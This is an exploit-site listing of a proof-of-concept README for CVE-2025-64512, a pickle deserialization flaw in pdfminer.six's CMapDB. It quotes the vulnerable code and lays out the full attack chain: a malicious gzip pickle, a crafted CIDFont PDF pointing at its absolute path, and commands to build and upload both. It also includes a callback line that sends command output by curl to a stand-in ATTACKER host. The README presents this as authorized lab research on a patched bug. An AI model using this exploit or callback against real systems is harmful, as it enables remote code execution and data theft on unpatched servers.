Sploitus

Exploit for Deserialization of Untrusted Data in Pdfminer Pdfminer.Six

githubexploit Β· 2026-08-15

Exploit Code

README108 lines
## https://sploitus.com/exploit?id=360B6584-58F5-5BB6-8027-A1A0132867C6
# CVE-2025-64512 β€” pdfminer.six `CMapDB` Deserialization PoC

Proof-of-Concept for a deserialization vulnerability in `pdfminer.six`
that leads to arbitrary code execution when parsing a crafted PDF.

> **PURPOSE / LEGAL DISCLAIMER**
> This repository is provided **for educational and authorized security
> research only**. It reproduces a **publicly disclosed, patched CVE**.
> Do **not** use it against systems you do not own or lack written
> permission to test. The author is not responsible for any misuse.
> Intended environment: Hack The Box / VulnHub / local lab.

## Vulnerability

- **CVE:** [CVE-2025-64512](https://nvd.nist.gov/vuln/detail/CVE-2025-64512)
- **Affected:** `pdfminer.six` before `20250506`
- **Patched:** `20250506`
- **Type:** Deserialization of Untrusted Data (CWE-502)

In `cmapdb.py`, `CMapDB._load_data()` reads a CMap file whose name is
derived from a PDF font's `/Encoding` entry and passes the contents to
`pickle.loads()`:

```python
def _load_data(cls, name):
    name = name.replace("\0", "")
    filename = "%s.pickle.gz" % name
    log.debug("loading: %r", name)
    cmap_paths = (
        os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
        os.path.join(os.path.dirname(__file__), "cmap"),
    )
    for directory in cmap_paths:
        path = os.path.join(directory, filename)
        if os.path.exists(path):
            gzfile = gzip.open(path)
            try:
                return type(str(name), (), pickle.loads(gzfile.read()))
            finally:
                gzfile.close()
    raise CMapDB.CMapNotFound(name)
```

Three properties combine to make this exploitable:

1. `pickle.loads()` on attacker-controlled data -> arbitrary code execution.
2. Because the filename is **absolute**, `os.path.join()` discards the
   search directory and opens the file at that exact path.
3. `.pickle.gz` is appended automatically, so the path is given without
   the extension.

## Exploit chain

The exploit needs **two files** uploaded to the vulnerable web app:

1. `payload.pickle.gz` β€” a gzip-compressed pickle whose `__reduce__`
   executes a command and returns a CMap-shaped dict (so parsing continues
   cleanly after the payload fires).
2. `trigger.pdf` β€” a minimal PDF using a **Type0/CIDFont** whose font
   `/Encoding` points at the absolute path of the pickle (no extension).

Two PDF-level details matter:

- `CMapDB.get_cmap()` is only reached through a **CIDFont** (a Type0 font
  with a `DescendantFonts` entry), not a plain Type1 font.
- A PDF name token begins with a `/` delimiter, so the encoded path must
  start with `#2f` to preserve the leading slash of the absolute path.
  Internal slashes are also `#2f` because `/` is a name delimiter.

When the target parses the PDF (e.g. a background watcher calling
`pdf2txt.py`), `CMapDB._load_data()` opens the pickle and executes the
command.

## Usage

```bash
# 1. Build the malicious pickle (gzip-compressed)
python3 make_payload.py 'id; whoami' -o payload.pickle.gz

# 2. Build the trigger PDF pointing at the pickle's absolute path (no ext)
python3 make_trigger_pdf.py /var/www/research.bedside.htb/uploads/payload -o trigger.pdf

# 3. Upload both files to the vulnerable PDF upload form, then wait for
#    the processing watcher to pick up trigger.pdf
```

Verified end-to-end against `pdfminer.six 20250416` (vulnerable): running
`pdf2txt.py trigger.pdf` executes the payload command and exits 0.

The payload command is blind; exfiltrate via callback, e.g.:

```bash
python3 make_payload.py 'curl http://ATTACKER:8001/$(id|base64 -w0)' -o payload.pickle.gz
```

## Files

| File | Purpose |
|---|---|
| `make_payload.py` | Generates the malicious `payload.pickle.gz` |
| `make_trigger_pdf.py` | Generates the `/Encoding` trigger PDF with correct xref offsets |

## References

- CVE-2025-64512 (NVD)
- pdfminer.six changelog / fix commit for `20250506`
- Hack The Box machine **Bedside** (authorized lab reproduction)